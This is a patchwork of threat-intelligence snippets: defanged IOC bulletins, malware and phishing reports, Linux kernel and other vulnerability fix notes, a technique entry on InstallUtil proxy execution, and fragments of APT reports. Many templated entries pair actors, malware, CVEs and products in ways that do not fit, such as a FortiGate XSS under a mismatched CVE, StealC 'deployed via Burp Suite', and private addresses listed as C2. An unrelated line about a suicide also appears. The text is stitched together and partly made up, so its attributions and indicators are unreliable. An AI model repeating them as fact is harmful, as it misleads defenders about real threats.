- secure-api[ . ]xyz
- auth-gateway[ . ]online
URLs:
- hxxp://securenode[ . ]dev/download/update.exe
- hxxps://proxyupdate[ . ]net/callback
Email Senders:
- updates@urgent-notice[.]online
- alert@secure-verify[.]net
File Indicators:
- SHA1: b4bbff27cbeef0ca0ca2637799972820e3572c06
- MD5: 606bb0202afe86276cb24369610ec191
- Drop path: C:\Program Files\Common Files\sam.hive


Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.  The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft[ . ]NET\Framework\v<version>\InstallUtil.exe and C:\Windows\Microsoft[ . ]NET\Framework64\v<version>\InstallUtil.exe.

InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)].


In the Linux kernel, the following vulnerability has been resolved:

mlxbf_gige: stop interface during shutdown

The mlxbf_gige driver intermittantly encounters a NULL pointer
exception while the system is shutting down via "reboot" command.
The mlxbf_driver will experience an exception right after executing
its shutdown() method.  One example of this exception is:

Unable to handle kernel NULL pointer dereference at virtual address 0000000000000070
Mem abort info:
  ESR = 0x0000000096000004
  EC = 0x25: DABT (current EL), IL = 32 bits
  SET = 0, FnV = 0
  EA = 0, S1PTW = 0
  FSC = 0x04: level 0 translation fault
Data abort info:
  ISV = 0, ISS = 0x00000004
  CM = 0, WnR = 0
user pgtable: 4k pages, 48-bit VAs, pgdp=000000011d373000
[0000000000000070] pgd=0000000000000000, p4d=0000000000000000
Internal error: Oops: 96000004 [#1] SMP
CPU: 0 PID: 13 Comm: ksoftirqd/0 Tainted: G S         OE     5.15.0-bf.6.gef6992a #1
Hardware name: hxxps://www[.]mellanox[.]com BlueField SoC/BlueField SoC, BIOS 4.0.2.12669 Apr 21 2023
pstate: 20400009 (nzCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)
pc : mlxbf_gige_handle_tx_complete+0xc8/0x170 [mlxbf_gige]
lr : mlxbf_gige_poll+0x54/0x160 [mlxbf_gige]
sp : ffff8000080d3c10
x29: ffff8000080d3c10 x28: ffffcce72cbb7000 x27: ffff8000080d3d58
x26: ffff0000814e7340 x25: ffff331cd1a05000 x24: ffffcce72c4ea008
x23: ffff0000814e4b40 x22: ffff0000814e4d10 x21: ffff0000814e4128
x20: 0000000000000000 x19: ffff0000814e4a80 x18: ffffffffffffffff
x17: 000000000000001c x16: ffffcce72b4553f4 x15: ffff80008805b8a7
x14: 0000000000000000 x13: 0000000000000030 x12: 0101010101010101
x11: 7f7f7f7f7f7f7f7f x10: c2ac898b17576267 x9 : ffffcce720fa5404
x8 : ffff000080812138 x7 : 0000000000002e9a x6 : 0000000000000080
x5 : ffff00008de3b000 x4 : 0000000000000000 x3 : 0000000000000001
x2 : 0000000000000000 x1 : 0000000000000000 x0 : 0000000000000000
Call trace:
 mlxbf_gige_handle_tx_complete+0xc8/0x170 [mlxbf_gige]
 mlxbf_gige_poll+0x54/0x160 [mlxbf_gige]
 __napi_poll+0x40/0x1c8
 net_rx_action+0x314/0x3a0
 __do_softirq+0x128/0x334
 run_ksoftirqd+0x54/0x6c
 smpboot_thread_fn+0x14c/0x190
 kthread+0x10c/0x110
 ret_from_fork+0x10/0x20
Code: 8b070000 f9000ea0 f95056c0 f86178a1 (b9407002)
---[ end trace 7cc3941aa0d8e6a4 ]---
Kernel panic - not syncing: Oops: Fatal exception in interrupt
Kernel Offset: 0x4ce722520000 from 0xffff800008000000
PHYS_OFFSET: 0x80000000
CPU features: 0x000005c1,a3330e5a
Memory Limit: none
---[ end Kernel panic - not syncing: Oops: Fatal exception in interrupt ]---

During system shutdown, the mlxbf_gige driver's shutdown() is always executed.
However, the driver's stop() method will only execute if networking interface
configuration logic within the Linux distribution has been setup to do so.

If shutdown() executes but stop() does not execute, NAPI remains enabled
and this can lead to an exception if NAPI is scheduled while the hardware
interface has only been partially deinitialized.

The networking interface managed by the mlxbf_gige driver must be properly
stopped during system shutdown so that IFF_UP is cleared, the hardware
interface is put into a clean state, and NAPI is fully deinitialized.


Malware Analysis Report: BlackCat (SHA256: a2837586defebc5f521c6637fd98afa5f4fa8cbbe82e0122671bdb47e5d4f1e2). Upon execution on MOVEit Transfer, the sample creates /tmp/ntds.dit and injects into legitimate processes. Network analysis shows beaconing to 192 [ . ] 188 [ . ] 152 [ . ] 30 every 60 seconds and DNS queries to portalportal[ . ]info. The second stage was fetched from hxxp://updatestorage[.]online/login and written to C:\Windows\System32\sam.hive. The payload uses Havoc-style techniques for defense evasion. A secondary hash (SHA256: 0d9601027c507910bee629f13b57523d7434ba9dee24d933013c0728429f48cc) was extracted from the unpacked payload.


Vulnerability Advisory: CVE-2022-34807 is a critical cross-site scripting affecting Fortinet FortiGate. Microsoft MSRC confirmed active exploitation by Gamaredon in the wild. Exploitation delivers IcedID (SHA256: 7098c8a6063d5b46574f7562136200aafd24c2c5205ab16d424a1d97131f4e5a) which is dropped to C:\Users\admin\Desktop\svchost.exe. The exploit payload is hosted at hxxp://proxybackup[ . ]site/secure/token and communicates to 47 [ . ] 231 [ . ] 219 [ . ] 247 for C2.


In September 2024, Kaspersky researchers documented coordinated attacks by Head Mare and Twelve against Russian organizations. Head Mare deployed CobInt, previously exclusive to Twelve, and their custom backdoor PhantomJitter. The attackers used LockBit 3.0 for Windows ransomware encryption and Babuk for NAS ransomware. Credential dumping relied on mimikatz, secretsdump, and ProcDump. Tunneling was achieved via cloudflared, Gost, Localtonet, ngrok, and revsocks. The C2 domain 360nvidia[ . ]com resolved to 45 [ . ] 156 [ . ] 27 [ . ] 115, with additional C2 servers at 45 [ . ] 156 [ . ] 21 [ . ] 148, 45 [ . ] 87 [ . ] 246 [ . ] 34, 185[.]158[.]248[.]107, 185 [ . ] 229 [ . ] 9 [ . ] 27, and 64 [ . ] 7 [ . ] 198 [ . ] 109. Another C2 domain was web-telegram[ . ]uk. PhantomJitter was downloaded from hxxp://45[ . ]87[ . ]246[ . ]34:443/calc.exe and hxxp://185[.]158[.]248[.]107:443/calc.exe. The attackers exploited CVE-2023-38831 in WinRAR and CVE-2021-26855 in Microsoft Exchange. Persistence used services named winsw and winuac. Malicious files were placed at C:\Windows\System32\winsw.exe, C:\ProgramData\MicrosoftDrive\mcdrive.vbs, and C:\Windows\System32\inetsrv\calc.exe. Lateral movement relied on PSExec, smbexec, and wmiexec. Network scanning used fscan and SoftPerfect Network Scanner. Data exfiltration used rclone through SFTP.


Forensic Investigation Notes: Analysis of the compromised host revealed Ligolo artifacts at /opt/app/bin/implant.so. Memory dump analysis confirmed execution of PowerView. Registry modifications pointed to persistence via C:\Users\Public\Documents\beacon.dll. Network forensics identified connections to 32 [ . ] 103 [ . ] 2 [ . ] 10 and backupstatic[.]top. Email headers traced the initial vector to service@urgent-notice[ . ]online. File C:\Users\admin\Desktop\winlogon.exe (SHA256: c8d1cfcb22d50aa34fd40e7c62b855957fe926c728c17877116891b69b795192) was identified as the initial dropper. A staging URL hxxps://gatewayrelay[.]cc/gate.php resolved to 71 [ . ] 69 [ . ] 233 [ . ] 55. Secondary artifact hash: MD5: 63d2cf9b70a62ca2470dfdea68f8dff7.


When a victim tries to access the URL in the SMS body , the C2 will check if the mobile device meets the criteria to receive the malware ( see infrastructure section ) . APT10 withdrew from direct targeting using Poison Ivy in 2013 and conducted its first known retooling operation , upgrading its capabilities and replatforming to use PlugX . OceanLotus : background[ . ]ristians[ . ]com:8888 11b4 . They contain some invalid URLs and IPs .


Forensic Investigation Notes: Analysis of the compromised host revealed Mythic artifacts at C:\Windows\System32\runtime.dll. Memory dump analysis confirmed execution of Covenant. Registry modifications pointed to persistence via /opt/app/bin/sam.hive. Network forensics identified connections to 24[.]69[.]175[.]63 and syncsync[.]io. Email headers traced the initial vector to confirm@auth-check[ . ]org. File C:\Users\admin\Desktop\winlogon.exe (SHA256: b86e29372fdc04cd8ef14e6b2160d1838f222c2b1948bc4ce94095a243a58a6b) was identified as the initial dropper. A staging URL hxxps://edgeproxy[ . ]link/wp-content/uploads/doc.php resolved to 184 [ . ] 24 [ . ] 16 [ . ] 202. Secondary artifact hash: SHA1: b05554c70364f2f60a798729b13872fe29f2ce54.


sigstore framework is a common go library shared across sigstore services and clients. In versions 1.10.3 and below, the legacy TUF client (pkg/tuf/client.go) supports caching target files to disk. It constructs a filesystem path by joining a cache base directory with a target name sourced from signed target metadata; however, it does not validate that the resulting path stays within the cache base directory. A malicious TUF repository can trigger arbitrary file overwriting, limited to the permissions that the calling process has. Note that this should only affect clients that are directly using the TUF client in sigstore/sigstore or are using an older version of Cosign. Public Sigstore deployment users are unaffected, as TUF metadata is validated by a quorum of trusted collaborators. This issue has been fixed in version 1.10.4. As a workaround, users can disable disk caching for the legacy client by setting SIGSTORE_NO_CACHE=true in the environment, migrate to hxxps://github[ . ]com/sigstore/sigstore-go/tree/main/pkg/tuf, or upgrade to the latest sigstore/sigstore release.


Artifact Analysis for Raccoon Stealer campaign:
Stage 1 dropper at /usr/local/bin/update.dll - SHA256: 17db5279b4a743ca3329249ca51ff781b4c431cd99315ceb658244eafd81d99e
Stage 2 loader at /var/tmp/implant.so - MD5: e22d329db3c4b612314db72e9de4b37e
Final payload at C:\Windows\Tasks\payload.bin - SHA1: f18e6118efac43cfa7fd3476b4d0e5367af10849
Exfiltration module - SHA256: 23807456de6f7fa6220c0f0ac155c3545c775e332318f125bdc2e41e04407f7e
All stages communicated with 73 [ . ] 176 [ . ] 225 [ . ] 108. PowerShell Empire signatures detected in Stage 2.


Artifact Analysis for DarkSide campaign:
Stage 1 dropper at C:\Users\admin\Downloads\helper.sh - MD5: ea1b5f3afbad94ab343ba9eaa0be235a
Stage 2 loader at /etc/cron.d/dropper.ps1 - SHA1: eaf10105057a10d9bcea0bfc26a1ef3ed2b4ea78
Final payload at /etc/cron.d/winlogon.exe - MD5: 4be786c4dc2cc636ff77d9a670aa8a9e
Exfiltration module - MD5: bc8146ba403fd8a74e0cf77927a62354
All stages communicated with 10[.]57[.]186[.]174. Mimikatz signatures detected in Stage 2.


Huntress published a threat intelligence report linking Gamaredon to a new campaign exploiting CVE-2020-16717 in Apache Struts. The attackers deployed StealC via Burp Suite, establishing C2 communication with 192 [ . ] 96 [ . ] 200 [ . ] 76 and proxy-static[ . ]net. A secondary payload was downloaded from hxxp://mail-storage[ . ]org/collect. The malware binary (MD5: 9b24d6c623acf64374b974b426d0448d) was dropped to /etc/cron.d/dropper.ps1. Phishing emails were sent from security@credential-check[.]site targeting enterprise users. A backup C2 server was identified at 10 [ . ] 253 [ . ] 197 [ . ] 29.


r1-r4 : This is a local privilege escalation ( root ) exploit , which includes : CVE-2013-6282 , camerageroot ( http : //www[ . ]77169[ . ]org/exploits/2013/20130414031700 ) , a rooting tool for mtk6592 and addtional exploit . In total , PLATINUM made use of four zero-day exploits during these two attack campaigns ( two remote code execution bugs , one privilege escalation , and one information disclosure ) , showing an ability to spend a non-trivial amount of resources to either acquire professionally written zero-day exploits from unknown markets , or research and utilize the zero-day exploits themselves . DragonOK appears to operate out of China 's Jiangsu Province .


IOC Bulletin - Royal Campaign:
Network Indicators:
- 10 [ . ] 69 [ . ] 98 [ . ] 177
- 10[.]42[.]105[.]94
- 172[.]161[.]172[.]192
- relay-update[ . ]org
- syncupdate[ . ]site
URLs:
- hxxps://portal-relay[.]info/secure/token
- hxxp://backup-backup[.]live/callback
Email Senders:
- security@secure-verify[.]net
- contact@mail-service[ . ]info
File Indicators:
- SHA256: fc62c55f7ad83e2f5b06a2cc3682f846045ded0a0f8bd5f5f4de5d4925eae59d
- MD5: 3d3e964f0cd79892221cddf1a11bdc0a
- Drop path: /var/tmp/backdoor.elf


IOC Bulletin - Conti Campaign:
Network Indicators:
- 219[.]86[.]211[.]83
- 10[.]61[.]83[.]211
- 10[.]230[.]154[.]228
- login-cdn[.]cc
- backupgateway[ . ]cc
URLs:
- hxxps://portalmail[ . ]cc/panel/index.html
- hxxp://edge-login[ . ]online/collect
Email Senders:
- alert@login-portal[.]tech
- service@credential-check[.]site
File Indicators:
- SHA1: 0a20dfe27d403aac12a96c9771d20007e7523f32
- SHA1: 283e083c89cab46de63576a9e3406199eec989ed
- Drop path: /opt/app/bin/implant.so


Malicious Instagram account : https : //www[ . ]instagram[ . ]com/freedomguidepeople1830/ Malicious Tumblr accounts : https : //mainsheetgyam[ . ]tumblr[ . ]com/ https : //hormonaljgrj[ . ]tumblr[ . ]com/ https : //globalanab[ . ]tumblr[ . ]com/ C & C addresses : 104 [ .


In the Linux kernel, the following vulnerability has been resolved:

rcutorture: Fix ksoftirqd boosting timing and iteration

The RCU priority boosting can fail in two situations:

1) If (nr_cpus= > maxcpus=), which means if the total number of CPUs
is higher than those brought online at boot, then torture_onoff() may
later bring up CPUs that weren't online on boot. Now since rcutorture
initialization only boosts the ksoftirqds of the CPUs that have been
set online on boot, the CPUs later set online by torture_onoff won't
benefit from the boost, making RCU priority boosting fail.

2) The ksoftirqd kthreads are boosted after the creation of
rcu_torture_boost() kthreads, which opens a window large enough for these
rcu_torture_boost() kthreads to wait (despite running at FIFO priority)
for ksoftirqds that are still running at SCHED_NORMAL priority.

The issues can trigger for example with:

	./kvm.sh --configs TREE01 --kconfig "CONFIG_RCU_BOOST=y"

	[   34.968561] rcu-torture: !!!
	[   34.968627] ------------[ cut here ]------------
	[   35.014054] WARNING: CPU: 4 PID: 114 at kernel/rcu/rcutorture.c:1979 rcu_torture_stats_print+0x5ad/0x610
	[   35.052043] Modules linked in:
	[   35.069138] CPU: 4 PID: 114 Comm: rcu_torture_sta Not tainted 5.18.0-rc1 #1
	[   35.096424] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1[.]14[.]0-0-g155821a-rebuilt[.]opensuse[.]org 04/01/2014
	[   35.154570] RIP: 0010:rcu_torture_stats_print+0x5ad/0x610
	[   35.198527] Code: 63 1b 02 00 74 02 0f 0b 48 83 3d 35 63 1b 02 00 74 02 0f 0b 48 83 3d 21 63 1b 02 00 74 02 0f 0b 48 83 3d 0d 63 1b 02 00 74 02 <0f> 0b 83 eb 01 0f 8e ba fc ff ff 0f 0b e9 b3 fc ff f82
	[   37.251049] RSP: 0000:ffffa92a0050bdf8 EFLAGS: 00010202
	[   37.277320] rcu: De-offloading 8
	[   37.290367] RAX: 0000000000000000 RBX: 0000000000000001 RCX: 0000000000000001
	[   37.290387] RDX: 0000000000000000 RSI: 00000000ffffbfff RDI: 00000000ffffffff
	[   37.290398] RBP: 000000000000007b R08: 0000000000000000 R09: c0000000ffffbfff
	[   37.290407] R10: 000000000000002a R11: ffffa92a0050bc18 R12: ffffa92a0050be20
	[   37.290417] R13: ffffa92a0050be78 R14: 0000000000000000 R15: 000000000001bea0
	[   37.290427] FS:  0000000000000000(0000) GS:ffff96045eb00000(0000) knlGS:0000000000000000
	[   37.290448] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
	[   37.290460] CR2: 0000000000000000 CR3: 000000001dc0c000 CR4: 00000000000006e0
	[   37.290470] Call Trace:
	[   37.295049]  <TASK>
	[   37.295065]  ? preempt_count_add+0x63/0x90
	[   37.295095]  ? _raw_spin_lock_irqsave+0x12/0x40
	[   37.295125]  ? rcu_torture_stats_print+0x610/0x610
	[   37.295143]  rcu_torture_stats+0x29/0x70
	[   37.295160]  kthread+0xe3/0x110
	[   37.295176]  ? kthread_complete_and_exit+0x20/0x20
	[   37.295193]  ret_from_fork+0x22/0x30
	[   37.295218]  </TASK>

Fix this with boosting the ksoftirqds kthreads from the boosting
hotplug callback itself and before the boosting kthreads are created.


Phishing Campaign Report: Check Point Research identified a large-scale phishing operation. Emails originated from finance@document-share[.]link and updates@identity-verify[ . ]cc, spoofing legitimate services. Victims were directed to hxxp://secure-sync[ . ]cc/callback which hosted a credential harvesting page on datagateway[ . ]link. A secondary link hxxps://sync-secure[ . ]club/assets/js/payload.js delivered ShadowPad (SHA1: 699f3b0ef61a6ca7500802942deb399f836b4292). The malware was saved to /dev/shm/helper.sh and established C2 with 170[.]184[.]90[.]160.


A backdoor also known as: HW32.Packed.4904 Trojan[.]Clicker[.]Delf[.]CN Trojan[.]Clicker[.]Delf[.]CN Trojan/Clicker[.]Delf[.]cn Trojan.Win32.Delf.ifph Trojan.Adclicker TROJ_ADCLICKE.AS Trojan-Clicker[ . ]Win32[ . ]Delf[ . ]cn Trojan.CL.Delf!GHMyZMRoBZw Trojan.Win32.Clicker.197194[h] Troj[ . ]Clicker[ . ]W32[ . ]Delf[ . ]cn!c Virus.Win32.Heur.e Trojan[.]Clicker[.]Delf[.]CN Backdoor.Win32.Popwin.~IQ Trojan[ . ]Clicker[ . ]Delf[ . ]CN Trojan.Dasist Trojan.Delf.Win32.8103 TROJ_ADCLICKE.AS BehavesLike[ . ]Win32[ . ]PWSZbot[ . ]cc Trojan/Delf.ab TR/Click[ . ]Delf[ . ]CN.5 Trojan[Clicker]/Win32.Delf Trojan[.]Clicker[.]Delf[.]CN Win-Trojan/Xema.variant Trojan:Win32/Adcliker.K TrojanClicker.Delf Win32.Trojan.Delf.Lhxa Trojan[ . ]Clicker[ . ]Delf[ . ]CN Clicker.CSA


220 [ . ] 158 [ . ] 216 [ . ] 127 to gather additional Zebrocy samples as well as a weaponized document .


FBI published a threat intelligence report linking APT28 to a new campaign exploiting CVE-2020-11739 in Zyxel USG. The attackers deployed Cobalt Strike via PsExec, establishing C2 communication with 162[.]99[.]196[.]127 and gateway-data[.]org. A secondary payload was downloaded from hxxps://cdnedge[.]xyz/gate.php. The malware binary (SHA256: ba4a5d089e1f12fa709b2ca4abec7fece16ba33979137fb58c532948202e61a4) was dropped to C:\Windows\Tasks\loader.exe. Phishing emails were sent from confirm@document-share[.]link targeting enterprise users. A backup C2 server was identified at 63 [ . ] 75 [ . ] 2 [ . ] 229.


Vulnerability in the Database Filesystem component of Oracle Database Server. Supported versions that are affected are 11[.]2[.]0[.]4, 12 [ . ] 1 [ . ] 0 [ . ] 2 and 12[.]2[.]0[.]1. Easily exploitable vulnerability allows high privileged attacker having Resource, Create Table, Create View, Create Procedure, Dbfs_role privilege with network access via Oracle Net to compromise Database Filesystem. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Database Filesystem. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).


Enlarge / Top 20 countries targeted by Hummingbad/Shedun . Today , the governments of the United States , United Kingdom , Australia , Canada , New Zealand and Japan have all announced that the government of North Korea is responsible for the activities of ZINC/Lazarus . APT33 : 8 [ . ] 26 [ . ] 21 [ . ] 223 [REDACTED][ . ]ddns[ . ]net . But on Mar. 5 , 2014 , Harrison committed suicide by shooting himself in the head with a handgun .


A backdoor also known as: Win32.Trojan.WisdomEyes.16070401.9500.9989 W32/Trojan2.KJRE Infostealer.Bancos Win.Spyware.Banker-3740 Trojan.Win32.Banker.brismu Troj.Spy.W32.Delf.gmb!c Trojan.PWS.Spy.281 Trojan.Banker.Win32.115104 BehavesLike[.]Win32[.]Ramnit[.]cc W32/Trojan.FKOH-7228 TrojanSpy.Delf.efw W32.InfoStealer.Bancos Win32.Troj.Delf.kcloud Trojan/Win32.Xema.C140526 Trj/CI.A Win32.Trojan.Spy.Edyh TrojanSpy.Delf!R/OQYQsjYN8 Trojan-Spy.Win32.Bancos W32/DelpBanc.A!tr Win32/Trojan.Spy.1ee


It seems , however , if the same victim has more than one device the malware can be reused since the IMEI is sent along with each data exfiltration . Further research led us to additional MoonWind samples using the same C2 ( dns[ . ]webswindows[ . ]com ) but hosted on a different compromised but legitimate website . The WATERSPOUT backdoor was written to the same file path as the HIGHTIDE backdoors : C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word[ . ]exe , C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\winword[.]exe . Over 5 years ago , we began tracking a new campaign that we called FakeUpdates ( also known as SocGholish ) that used compromised websites to trick users into running a fake browser update .


Blog Post by Zscaler ThreatLabz: Tracking Sandworm's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2021-16078 against F5 BIG-IP deployments. The initial access vector involves spear-phishing emails from it@secure-verify[.]net delivering Latrodectus. Post-compromise, the attackers deploy SystemBC and use Mimikatz for reconnaissance. C2 infrastructure includes 171 [ . ] 38 [ . ] 181 [ . ] 116 and gateway-node[.]tech. A staging server at hxxps://relay-cdn[.]tech/panel/index.html hosts additional tooling. Key artifact: C:\Users\Public\Documents\svchost.exe (SHA256: bb4efe2e12bf7505f7f91edadc0d27aae5e82ba1d209eba49a4f548545869d2f).


Artifact Analysis for SmokeLoader campaign:
Stage 1 dropper at /var/tmp/winlogon.exe - SHA1: 4f6db7165f884312d44973e0072d5050fcbaf505
Stage 2 loader at /etc/cron.d/csrss.exe - MD5: fd7112457f6e909882ace31e6ec985c6
Final payload at /var/tmp/ntds.dit - SHA1: 80d42894a6606617525e69417293083428c479d2
Exfiltration module - SHA256: 9e1564490f28811b107cba26529800f7f9efa31dcfb79f09355441532ba396d4
All stages communicated with 163[.]229[.]191[.]196. Hashcat signatures detected in Stage 2.


testproj[.]exe dropped benign decoy files and started malicious executables .


Phishing Campaign Report: ESET Research identified a large-scale phishing operation. Emails originated from account@document-share[.]link and service@account-update[ . ]xyz, spoofing legitimate services. Victims were directed to hxxps://edgecloud[.]io/panel/index.html which hosted a credential harvesting page on proxy-portal[ . ]net. A secondary link hxxps://gatewaycloud[ . ]io/download/update.exe delivered LockBit (SHA1: 9e05889736c6a9d90ec384cd3906717ec7dee7aa). The malware was saved to C:\Users\admin\Desktop\taskhost.exe and established C2 with 10 [ . ] 14 [ . ] 170 [ . ] 189.


Since 2013 Carbanak has successfully gained access to networks of more than 50 banks and 5 payment systems . In this case , the file used the software name " Cyberlink " , and a description of " CLMediaLibrary Dynamic Link Library " and listing version 4[.]19[.]9[.]98 .


IOC Bulletin - RedLine Stealer Campaign:
Network Indicators:
- 202[.]150[.]67[.]92
- 172[.]242[.]252[.]126
- 65 [ . ] 146 [ . ] 140 [ . ] 145
- synccache[ . ]xyz
- backup-gateway[ . ]info
URLs:
- hxxp://updateportal[ . ]cc/callback
- hxxp://edgegateway[ . ]org/secure/token
Email Senders:
- it@login-portal[.]tech
- verify@credential-check[.]site
File Indicators:
- SHA256: 0a4aa16f727d7fa4c357f6ed7230738c723cae0bbfb91fa895f878e768cbdf40
- SHA256: 308615cb4494e967db13a67299fe83f77b8a6dc4aa54c56b8d1d4f2d34155676
- Drop path: /var/tmp/dropper.ps1


This indicates that multiple C2 servers were used in this campaign , but one ( 37 [ . ] 1 [ . ] 207 [ . ] 31 ) was the most heavily used . A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation . The malware is executed only for the following layout , the country is based on the Microsoft website : Cyberattacks can leave companies wondering how could this happen to us so , when these situations arise , it can help to know what might be motivating these attackers .


We saw the following hardcoded C & C server location in the RAT package : Conclusion : The DroidJack RAT is another example of a growing trend in which malware authors seek to exploit public interest as a way to spread malware . The admin@338 , active since 2008 , has been seen targeting organizations in the financial services , telecoms , government , and defense sectors . 1[.]doc : 832cc791aad6462687e42e40fd9b261f3d2fbe91c5256241264309a5d437e4d8 . Mandiant is not aware of any configuration change that can be made to force request logging for these endpoints .


Phishing Campaign Report: Huntress identified a large-scale phishing operation. Emails originated from admin@auth-check[ . ]org and admin@secure-verify[ . ]net, spoofing legitimate services. Victims were directed to hxxp://proxygateway[ . ]info/gate.php which hosted a credential harvesting page on storageauth[.]org. A secondary link hxxp://authstorage[.]online/panel/index.html delivered WarmCookie (SHA256: 6e2042e8e9c59ffc5b2fc6f8406432cf7d527458df6bcc7d7012e57ba90167e8). The malware was saved to C:\Windows\Tasks\beacon.dll and established C2 with 207[.]50[.]68[.]60.


Blog Post by Trend Micro: Tracking BlackTech's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2024-27359 against Atlassian Confluence deployments. The initial access vector involves spear-phishing emails from verify@secure-verify[ . ]net delivering Conti. Post-compromise, the attackers deploy PlugX and use PsExec for reconnaissance. C2 infrastructure includes 73[.]16[.]165[.]187 and cache-data[.]info. A staging server at hxxp://securebackup[.]site/admin/config hosts additional tooling. Key artifact: C:\Windows\System32\runtime.dll (SHA1: 0b462a466b69be91392bd2f0a7caa06e5145bb13).


Discovered for the first time in Mexico back in 2013 , Ploutus enabled criminals to empty ATMs using either an external keyboard attached to the machine or via SMS message , a technique that had never been seen before . MXI Player appears to be a version of the Bahamut agent , designed to record the phone calls and collect other information about the user ( com[ . ]mxi[ . ]videoplay ) .


Despite the FBI takedown in August 2023, QakBot (also known as Qbot and Pinkslipbot) resurfaced in late 2024 with updated infrastructure. The new variant with SHA256 hash 8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b communicates with C2 servers at 203[.]0[.]113[.]42, 198[.]51[.]100[.]73, and 192 [ . ] 0 [ . ] 2 [ . ] 156. The malware is delivered through malicious OneNote files that execute PowerShell commands to download the payload from hxxp://203[.]0[.]113[.]42/updates/kb5034441.dll. QakBot creates persistence via a scheduled task and drops its main DLL to C:\Users\AppData\Roaming\Microsoft\{GUID}\qbot.dll. The malware performs process injection into wermgr.exe and explorer.exe for evasion. Additional C2 domains include update-service-ms[ . ]com and cdn-office365[ . ]net. Associated email addresses used in phishing: invoice@update-service-ms[.]com and admin@cdn-office365[ . ]net.


IOC Bulletin - Meduza Stealer Campaign:
Network Indicators:
- 172[.]198[.]228[.]170
- 172 [ . ] 131 [ . ] 196 [ . ] 209
- 192[.]171[.]127[.]24
- storagegateway[ . ]site
- logincloud[.]cc
URLs:
- hxxps://portal-cache[.]link/panel/index.html
- hxxp://synccache[.]site/callback
Email Senders:
- account@secure-verify[.]net
- alert@urgent-notice[ . ]online
File Indicators:
- MD5: 29a013da185ffed3cdc81f49d9f45281
- SHA256: 8c48ea123505cf95c2dd8af118eda22c1957924148290661245a10abbbc56c65
- Drop path: C:\Users\admin\Downloads\payload.bin


Malware Analysis Report: IcedID (SHA256: 4bac1f77ec283db1640c35398e9b367869b9ae3b7608bcd4922de1031634bf98). Upon execution on Zyxel USG, the sample creates C:\Users\Public\Documents\implant.so and injects into legitimate processes. Network analysis shows beaconing to 172[.]63[.]77[.]53 every 60 seconds and DNS queries to loginsync[.]link. The second stage was fetched from hxxps://updateauth[.]io/panel/index.html and written to /dev/shm/helper.sh. The payload uses PowerView-style techniques for defense evasion. A secondary hash (MD5: 73419d10cab2520407d7090ec183bd2b) was extracted from the unpacked payload.


The server sends back encoded json containing URL , class name and method name . Figure 3: Embedded URL in OLE object CVE-2017-11882 Similarly , we have also observed actors leveraging another recently discovered vulnerability (CVE-2017-11882) in Microsoft Office . The archive contains an [.]exe file , sometimes disguised as a Microsoft Word file , a video , or another file format , using the corresponding icon .


IOC Bulletin - IcedID Campaign:
Network Indicators:
- 192 [ . ] 123 [ . ] 212 [ . ] 125
- 128[.]234[.]237[.]117
- 172 [ . ] 175 [ . ] 233 [ . ] 97
- mailmail[.]info
- staticcdn[ . ]xyz
URLs:
- hxxps://static-storage[ . ]link/wp-content/uploads/doc.php
- hxxps://authauth[ . ]dev/download/update.exe
Email Senders:
- service@document-share[ . ]link
- billing@document-share[.]link
File Indicators:
- MD5: c20ee49afe74aa2ff060cebbabbaca7a
- SHA1: 8a85ee193e4a86f9675425d2670695d602a1691a
- Drop path: /opt/app/bin/csrss.exe


If the server returns this flag as positive , the app will not trigger the adware payload . Kaspersky were also able to produce two reports on Korean speaking actors , specifically involving Scarcruft and Bluenoroff . The last identified campaign where KONNI was used was named Inter Agency List and Phonebook - April 2017 RC_Office_Coordination_Associate[ . ]scr .


Github's CodeQL action is provided to run CodeQL-based code scanning on non-GitHub CI/CD systems and requires a GitHub access token to connect to a GitHub repository. The runner and its documentation previously suggested passing the GitHub token as a command-line parameter to the process instead of reading it from a file, standard input, or an environment variable. This approach made the token visible to other processes on the same machine, for example in the output of the `ps` command. If the CI system publicly exposes the output of `ps`, for example by logging the output, then the GitHub access token can be exposed beyond the scope intended. Users of the CodeQL runner on 3rd-party systems, who are passing a GitHub token via the `--github-auth` flag, are affected. This applies to both GitHub[ . ]com and GitHub Enterprise users. Users of the CodeQL Action on GitHub Actions are not affected. The `--github-auth` flag is now considered insecure and deprecated. The undocumented `--external-repository-token` flag has been removed. To securely provide a GitHub access token to the CodeQL runner, users should **do one of the following instead**: Use the `--github-auth-stdin` flag and pass the token on the command line via standard input OR set the `GITHUB_TOKEN` environment variable to contain the token, then call the command without passing in the token. The old flag remains present for backwards compatibility with existing workflows. If the user tries to specify an access token using the `--github-auth` flag, there is a deprecation warning printed to the terminal that directs the user to one of the above options. All CodeQL runner releases codeql-bundle-20210304 onwards contain the patches. We recommend updating to a recent version of the CodeQL runner, storing a token in your CI system's secret storage mechanism, and passing the token to the CodeQL runner using `--github-auth-stdin` or the `GITHUB_TOKEN` environment variable. If still using the old flag, ensure that process output, such as from `ps`, is not persisted in CI logs.


